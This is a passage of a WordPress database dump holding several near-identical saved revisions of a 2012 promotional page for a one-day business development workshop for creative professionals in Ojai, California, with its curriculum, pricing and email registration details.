you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-12', '', '', '2012-03-02 11:42:34', '2012-03-02 18:42:34', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-12/', 0, 'revision', '', 0),
(2020, 2, '2012-03-02 11:43:04', '2012-03-02 18:43:04', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-13', '', '', '2012-03-02 11:43:04', '2012-03-02 18:43:04', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-13/', 0, 'revision', '', 0),
(2021, 2, '2012-03-02 11:48:42', '2012-03-02 18:48:42', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-14', '', '', '2012-03-02 11:48:42', '2012-03-02 18:48:42', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-14/', 0, 'revision', '', 0),
(2022, 2, '2012-03-02 11:48:50', '2012-03-02 18:48:50', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-15', '', '', '2012-03-02 11:48:50', '2012-03-02 18:48:50', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-15/', 0, 'revision', '', 0),
(2023, 2, '2012-03-02 11:49:41', '2012-03-02 18:49:41', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-16', '', '', '2012-03-02 11:49:41', '2012-03-02 18:49:41', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-16/', 0, 'revision', '', 0),
(2024, 2, '2012-03-02 11:52:24', '2012-03-02 18:52:24', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-17', '', '', '2012-03-02 11:52:24', '2012-03-02 18:52:24', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-17/', 0, 'revision', '', 0);
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(2025, 2, '2012-03-02 11:53:07', '2012-03-02 18:53:07', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn 